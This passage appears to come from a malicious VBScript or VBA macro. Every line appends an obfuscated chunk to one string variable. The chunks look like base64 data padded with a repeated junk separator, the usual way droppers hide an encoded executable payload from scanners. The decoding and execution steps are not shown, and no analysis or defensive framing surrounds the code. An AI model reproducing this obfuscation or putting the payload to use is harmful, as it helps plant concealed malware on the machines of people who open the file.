IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%EMewII@@&&^%^#%EQp@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%"
IWHGBkP = IWHGBkP & "Igz6@@&&^%^#%gg@@&&^%^#%VCk@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%kw@@&&^%^#%7D@@&"
IWHGBkP = IWHGBkP & "&^%^#%MDC@@&&^%^#%BsKQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%CT@@&&^%^#%FkMkwEI@@&&^%^#%Hwp"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@"
IWHGBkP = IWHGBkP & "@&&^%^#%egwX@@&&^%^#%wg@@&&^%^#%lCk@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%kwCWDOQ@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%CkKQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%CT@@&&^%^#%K8MkwEI@@&&^%^#%LQp"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@"
IWHGBkP = IWHGBkP & "@&&^%^#%4@@&&^%^#%z6@@&&^%^#%gg@@&&^%^#%"
IWHGBkP = IWHGBkP & "xCk@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "kwDzDJoCC@@&&^%^#%DYKQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%CT@@&&^%^#%@@&&^%^#%YNjQII@@&&"
IWHGBkP = IWHGBkP & "^%^#%P@@&&^%^#%p@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%I@@&&^%^#%JM@@&&^%^#%GQ2a@@&&^%^#%gg@"
IWHGBkP = IWHGBkP & "@&&^%^#%BCo@@&&^%^#%@@&&^%^#%@@&&^%^#%g@"
IWHGBkP = IWHGBkP & "@&&^%^#%kwBFDZMBC@@&&^%^#%@@&&^%^#%UKg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&^%^#%FgN"
IWHGBkP = IWHGBkP & "5@@&&^%^#%@@&&^%^#%I@@&&^%^#%CQq@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%"
IWHGBkP = IWHGBkP & "hw0J@@&&^%^#%Qg@@&&^%^#%MCo@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%kwCsDUYDC@@&&^%^"
IWHGBkP = IWHGBkP & "#%BYKg@@&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&"
IWHGBkP = IWHGBkP & "^%^#%NYNkwEI@@&&^%^#%Ggq@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%9Q2T@@&&"
IWHGBkP = IWHGBkP & "^%^#%Qg@@&&^%^#%eCo@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%g@@&&^%^#%kw@@&&^%^#%pDo0CC@@&&^%^"
IWHGBkP = IWHGBkP & "#%CQKg@@&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&"
IWHGBkP = IWHGBkP & "^%^#%EMOmgII@@&&^%^#%KQq@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%Xg76@@&&"
IWHGBkP = IWHGBkP & "^%^#%gg@@&&^%^#%tCo@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%g@@&&^%^#%kwB+DqMBC@@&&^%^#%DEKg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&^%^#%JIO"
IWHGBkP = IWHGBkP & "d@@&&^%^#%MI@@&&^%^#%Ngq@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%sQ57@@&&"
IWHGBkP = IWHGBkP & "^%^#%wg@@&&^%^#%/Co@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%g@@&&^%^#%kwDNDscCC@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%YKw@@&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&"
IWHGBkP = IWHGBkP & "^%^#%OEOkwEI@@&&^%^#%Cgr@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%Q+T@@&&^%^#%Qg@@&&^%^#%OCs@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%kw@@&&^%^#%mD5UD"
IWHGBkP = IWHGBkP & "C@@&&^%^#%BwKw@@&&^%^#%@@&&^%^#%C@@&&^%^"
IWHGBkP = IWHGBkP & "#%CT@@&&^%^#%EMPngEI@@&&^%^#%I@@&&^%^#%r"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@"
IWHGBkP = IWHGBkP & "@&&^%^#%c@@&&^%^#%9G@@&&^%^#%Qg@@&&^%^#%"
IWHGBkP = IWHGBkP & "iCs@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "kwCDD0YBC@@&&^%^#%CQKw@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%@@&&^%^#%GGF@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Nw@@&&^%^#%I@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%BFglg+0@@&&^%^#%wg@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%EWBpEMYDEg@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "g@@&&^%^#%@@&&^%^#%RYJ4QxgMU@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%C@@&&^%^#%@@&&^%^#%BFgzhDG@@&&^%^#%xY@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%I@@&&^%^#%@@&&^%^#%EWD0EMYD"
IWHGBkP = IWHGBkP & "G@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%RYCQRzQMa@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%BFgfBHY@@&&^%^#%x8@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%EWCzEeMDJ@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%g@@&&^%^#%@@&&^%^#%RYOsR6QMm@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%C@@&&^%^#%@@&&^%^#%BFgMBLy@@&&"
IWHGBkP = IWHGBkP & "^%^#%ys@@&&^%^#%oCs@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%g@@&&^%^#%FgBOEvcDL@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%8LQ@@&&^%^#%@@&&^%^#%C@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%R@@&&^%^#%GUSCwQt@@&&^%^#%C@@&&^%^#%0"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@"
IWHGBkP = IWHGBkP & "@&&^%^#%iBLk@@&&^%^#%DE@@&&^%^#%MDQ@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%kwCcEjoE"
IWHGBkP = IWHGBkP & "MQBEN@@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^"
IWHGBkP = IWHGBkP & "#%CT@@&&^%^#%LUSmgIx@@&&^%^#%Fg0@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%"
IWHGBkP = IWHGBkP & "yRLk@@&&^%^#%DE@@&&^%^#%aDQ@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%kwD0EgsEMQCEN@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%gTRgEy@@&&^%^#%Iw0@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%"
IWHGBkP = IWHGBkP & "HBNG@@&&^%^#%TI@@&&^%^#%lDQ@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%g@@&&^%^#%kw@@&&^%^#%wE5oC"
IWHGBkP = IWHGBkP & "MgCoN@@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^"
IWHGBkP = IWHGBkP & "#%CT@@&&^%^#%EQTowEy@@&&^%^#%Lg0@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%"
IWHGBkP = IWHGBkP & "WBNLBDI@@&&^%^#%yDQ@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%g@@&&^%^#%kwBzE/oCMgDYN@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%C@@&&^%^#%CT@@&&^%^#%JUT"
IWHGBkP = IWHGBkP & "jQIy@@&&^%^#%P@@&&^%^#%0@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%I@@&&^%^#%JM@@&&^%^#%qRM6BDI@"
IWHGBkP = IWHGBkP & "@&&^%^#%BDU@@&&^%^#%@@&&^%^#%@@&&^%^#%g@"
IWHGBkP = IWHGBkP & "@&&^%^#%kwDSE1gEMg@@&&^%^#%QNQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%CT@@&&^%^#%O8TX@@&&^%^"
IWHGBkP = IWHGBkP & "#%Qy@@&&^%^#%CQ1@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%I@@&&^%^#%JM@@&&^%^#%ERRpBDI@@&&^%^#%"
IWHGBkP = IWHGBkP & "RDU@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "kw@@&&^%^#%8FH8EMgBUNQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%CT@@&&^%^#%FkU5@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%y@@&&^%^#%GQ1@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%I@@&&^%^#%JM@@&&^%^#%bRR/BDI@@&&^%^#%"
IWHGBkP = IWHGBkP & "dDU@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&^%^#%"
IWHGBkP = IWHGBkP & "kwCQFOQ@@&&^%^#%MgCENQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "C@@&&^%^#%CT@@&&^%^#%KkUCQEy@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%QDFB@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%QD+B@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%QD+B@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%QBBBw@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%QBiC@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%gBoC@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%wBwC@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%QCoDw@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%gC4Dw@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%wDLDw@@&&^%^#%@@&&^%^#%B@@&&^%^"
IWHGBkP = IWHGBkP & "#%DdDw@@&&^%^#%@@&&^%^#%BQDuDw@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%Bg@@&&^%^#%EE@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%Bw@@&&^%^#%SE@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%C@@&&^%^#%@@&&^%^#%eE@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%CQ@@&&^%^#%vE@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%Cg@@&&^%^#%7E@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%QB+E@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%gCFE@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%QB+E@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%gCFE@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%QB+E@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%gCFE@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%QB+E@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%gCFE@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%Q@@&&^%^#%6EQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%gBCEQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%wBOEQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "B@@&&^%^#%BVEQ@@&&^%^#%@@&&^%^#%BQBgEQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%Q@@&&^%^#%6EQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%gBCEQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%wBOEQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "B@@&&^%^#%BVEQ@@&&^%^#%@@&&^%^#%BQCTEQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%Q@@&&^%^#%6EQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%gBCEQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%QD+EQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%g@@&&^%^#%FEg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%w@@&&^%^#%NEg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "B@@&&^%^#%@@&&^%^#%UEg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "BQ@@&&^%^#%ZEg@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%QD+EQ@@&&^%^#%@@&&^%^#%@@&&^%^#%QBTEg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%QBvEg@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%gB0Eg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%wBTEg@@&&^%^#%@@&&^%^#%B@@&&^%^"
IWHGBkP = IWHGBkP & "#%B4Eg@@&&^%^#%@@&&^%^#%B@@&&^%^#%B4Egk@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%@@&&^%^#%T@@&&^%^#%Ck@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%@@&&^%^#%3@@&&^%^#%DE@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%BE@@&&^%^#%EE@@&&^%^#%"
IWHGBkP = IWHGBkP & "U@@&&^%^#%BQ@@&&^%^#%FE@@&&^%^#%U@@&&^%^"
IWHGBkP = IWHGBkP & "#%BQ@@&&^%^#%Fk@@&&^%^#%U@@&&^%^#%BQ@@&&"
IWHGBkP = IWHGBkP & "^%^#%GE@@&&^%^#%U@@&&^%^#%BQ@@&&^%^#%Gk@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%BQ@@&&^%^#%HE@@&&^%^#%"
IWHGBkP = IWHGBkP & "U@@&&^%^#%BQ@@&&^%^#%Hk@@&&^%^#%U@@&&^%^"
IWHGBkP = IWHGBkP & "#%BV@@&&^%^#%IE@@&&^%^#%U@@&&^%^#%BQ@@&&"
IWHGBkP = IWHGBkP & "^%^#%Ik@@&&^%^#%U@@&&^%^#%BQ@@&&^%^#%JE@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%BQ@@&&^%^#%KE@@&&^%^#%"
IWHGBkP = IWHGBkP & "U@@&&^%^#%@@&&^%^#%3@@&&^%^#%Kk@@&&^%^#%"
IWHGBkP = IWHGBkP & "U@@&&^%^#%@@&&^%^#%3@@&&^%^#%@@&&^%^#%w@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%@@&&^%^#%3@@&&^%^#%BQ@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%@@&&^%^#%3@@&&^%^#%Bw@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%@@&&^%^#%3@@&&^%^#%CQ@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%@@&&^%^#%3@@&&^%^#%BQ@"
IWHGBkP = IWHGBkP & "@&&^%^#%RwQy@@&&^%^#%Qw@@&&^%^#%RwQy@@&&"
IWHGBkP = IWHGBkP & "^%^#%Rw@@&&^%^#%RwQy@@&&^%^#%SQ@@&&^%^#%"
IWHGBkP = IWHGBkP & "RwQy@@&&^%^#%dE@@&&^%^#%EQW@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%dk@@&&^%^#%VwWT@@&&^%^#%Zk@@&&^%^#%"
IWHGBkP = IWHGBkP & "vgRe@@&&^%^#%Zk@@&&^%^#%xwRj@@&&^%^#%ck@"
IWHGBkP = IWHGBkP & "@&&^%^#%3@@&&^%^#%Wj@@&&^%^#%Zk@@&&^%^#%"
IWHGBkP = IWHGBkP & "4@@&&^%^#%Rs@@&&^%^#%Zk@@&&^%^#%U@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%3@@&&^%^#%DQ@@&&^%^#%Fgaq@@&&"
IWHGBkP = IWHGBkP & "^%^#%Tw@@&&^%^#%WQYy@@&&^%^#%Tw@@&&^%^#%"
IWHGBkP = IWHGBkP & "YwbN@@&&^%^#%Tw@@&&^%^#%U@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%3@@&&^%^#%Mk@@&&^%^#%8gbg@@&&^%^#%fE@"
IWHGBkP = IWHGBkP & "@&&^%^#%U@@&&^%^#%Dl@@&&^%^#%Zk@@&&^%^#%"
IWHGBkP = IWHGBkP & "WgeY@@&&^%^#%QkB5wcG@@&&^%^#%rE@@&&^%^#%"
IWHGBkP = IWHGBkP & "U@@&&^%^#%@@&&^%^#%3@@&&^%^#%DEBU@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%3@@&&^%^#%DkB8@@&&^%^#%hF@@&&"
IWHGBkP = IWHGBkP & "^%^#%kkBU@@&&^%^#%@@&&^%^#%3@@&&^%^#%CEB"
IWHGBkP = IWHGBkP & "U@@&&^%^#%@@&&^%^#%3@@&&^%^#%FEBLglV@@&&"
IWHGBkP = IWHGBkP & "^%^#%jkBOgla@@&&^%^#%lkBU@@&&^%^#%BQ@@&&"
IWHGBkP = IWHGBkP & "^%^#%HEBswlu@@&&^%^#%nkB8@@&&^%^#%l1@@&&"
IWHGBkP = IWHGBkP & "^%^#%jEBD@@&&^%^#%qB@@&&^%^#%oEBN@@&&^%^"
IWHGBkP = IWHGBkP & "#%qI@@&&^%^#%kk@@&&^%^#%UgqU@@&&^%^#%kk@"
IWHGBkP = IWHGBkP & "@&&^%^#%4@@&&^%^#%Rs@@&&^%^#%TEBg@@&&^%^"
IWHGBkP = IWHGBkP & "#%qg@@&&^%^#%okB0wqs@@&&^%^#%pkBDgu6@@&&"
IWHGBkP = IWHGBkP & "^%^#%hkBLwvB@@&&^%^#%kk@@&&^%^#%SgvP@@&&"
IWHGBkP = IWHGBkP & "^%^#%qEBbgvX@@&&^%^#%iEBnQvm@@&&^%^#%iEB"
IWHGBkP = IWHGBkP & "w@@&&^%^#%tQ@@&&^%^#%Ek@@&&^%^#%Sgvt@@&&"
IWHGBkP = IWHGBkP & "^%^#%iEB8wtQ@@&&^%^#%EkBF@@&&^%^#%zz@@&&"
IWHGBkP = IWHGBkP & "^%^#%kkBNQz/@@&&^%^#%hEBTgwK@@&&^%^#%xEB"
IWHGBkP = IWHGBkP & "b@@&&^%^#%wS@@&&^%^#%xEBjQwe@@&&^%^#%xEB"
IWHGBkP = IWHGBkP & "qQw3@@&&^%^#%LEBygwk@@&&^%^#%1kBbgsq@@&&"
IWHGBkP = IWHGBkP & "^%^#%0k@@&&^%^#%Sgsy@@&&^%^#%8EBO@@&&^%^"
IWHGBkP = IWHGBkP & "#%05@@&&^%^#%8kBdw0/@@&&^%^#%8kBmg0J@@&&"
IWHGBkP = IWHGBkP & "^%^#%dEBzg1S@@&&^%^#%9kB4@@&&^%^#%Rj@@&&"
IWHGBkP = IWHGBkP & "^%^#%+EBDQ6I@@&&^%^#%kk@@&&^%^#%P@@&&^%^"
IWHGBkP = IWHGBkP & "#%5o@@&&^%^#%+EBVg7t@@&&^%^#%ukBdw5v@@&&"
IWHGBkP = IWHGBkP & "^%^#%9kBpg50@@&&^%^#%9EBxQ6G@@&&^%^#%+EB"
IWHGBkP = IWHGBkP & "Vg7P@@&&^%^#%uEB9Q6I@@&&^%^#%uEBFQ+I@@&&"
IWHGBkP = IWHGBkP & "^%^#%tEBOg+i@@&&^%^#%/EBXw+e@@&&^%^#%Uk@"
IWHGBkP = IWHGBkP & "@&&^%^#%WBIIB@@&&^%^#%kCU@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%3@@&&^%^#%GEBU@@&&^%^#%BQ@@&&^%^#%CkB"
IWHGBkP = IWHGBkP & "U@@&&^%^#%@@&&^%^#%3@@&&^%^#%PkBgxI3B@@&"
IWHGBkP = IWHGBkP & "&^%^#%kCsBJ@@&&^%^#%BBEC7BI3@@&&^%^#%Ek@"
IWHGBkP = IWHGBkP & "@&&^%^#%P@@&&^%^#%5FBPEBbBNLBEk@@&&^%^#%"
IWHGBkP = IWHGBkP & "hxNv@@&&^%^#%xkCyhNRBPkB5hNYBBkCCRRiBCkC"
IWHGBkP = IWHGBkP & "LBRyBBkCUBSEBEkBgRSKBEkBpBQ3@@&&^%^#%DkC"
IWHGBkP = IWHGBkP & "U@@&&^%^#%CzBEECU@@&&^%^#%DCBFECU@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%3@@&&^%^#%FkCU@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%3@@&&^%^#%GECU@@&&^%^#%@@&&^%^#%3@@&&"